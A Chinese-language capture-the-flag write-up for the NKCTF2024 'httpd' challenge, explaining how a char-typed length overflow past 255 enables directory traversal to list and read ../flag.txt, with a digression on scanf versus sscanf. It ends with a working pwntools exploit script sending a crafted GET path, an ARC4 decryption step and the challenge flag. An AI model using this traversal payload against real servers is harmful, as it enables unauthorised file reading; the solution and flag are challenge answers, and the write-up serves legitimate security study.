目录穿越
[TOC]
- 此题是NKCTF2024 httpd这道题
题目分析
- %[^ ] 是C语言中 scanf 和 sscanf 函数用于格式化输入的格式化字符串中的一个格式说明符。具体地,%[^ ] 表示要读取的输入字符序列直到遇到第一个空格字符(空格字符之前的字符),然后将其存储到对应的变量中。其中 ^ 符号表示取反,[^ ] 表示除了空格之外的所有字符。这样的格式化说明符通常用于读取字符串中的单词或特定字符之间的内容。
- 这里最主要的漏洞是v7是char型,那么strlen后超过255后会有溢出漏洞,那么就可以由此进行目录穿越
- 利用scandir函数进行目录扫描,通过扫描../目录得到../flag.txt目录进行输出
- 区分sscanf函数与scanf函数
- scanf 函数: scanf 函数从标准输入流(通常是键盘)读取输入,可以使用格式化字符串来指定期望输入的格式。 它通常用于从用户键盘输入的交互式输入中读取数据。 例如:scanf("%d %f", &intVar, &floatVar); 会尝试从标准输入中读取一个整数和一个浮点数。
- sscanf 函数: sscanf 函数用于从一个字符串中按照指定的格式解析数据,与 scanf 不同,它不是直接从标准输入流中读取数据,而是从给定的字符串中读取数据。它通常用于解析字符串中的特定格式的数据。 例如:sscanf(str, “%d %f”, &intVar, &floatVar); 会尝试从字符串 str 中读取一个整数和一个浮点数。
- 最后就是要慢慢逆向出逻辑就好了
exp
from pwn import *
import sys
LOCAL = len(sys.argv) == 1
if LOCAL:
p = process('./httpd')
else:
p = remote(sys.argv[1], int(sys.argv[2]))
p.send(b'GET /.' + b'/' * 256 + b'.. HTTP/1.0\r\n')
p.send(b'host: 0.0.0.10\r\n')
p.send(b'Content-length: 0\r\n')
p.recvuntil(b'./flag.txt:')
data = p.recvline(keepends=False)
from Crypto.Cipher import ARC4
print(ARC4.new(b'reverse').decrypt(data))
# p.interactive()
p.close()
# NKCTF{35c16fb6-2a41-4b83-b04c-c939281bea4c}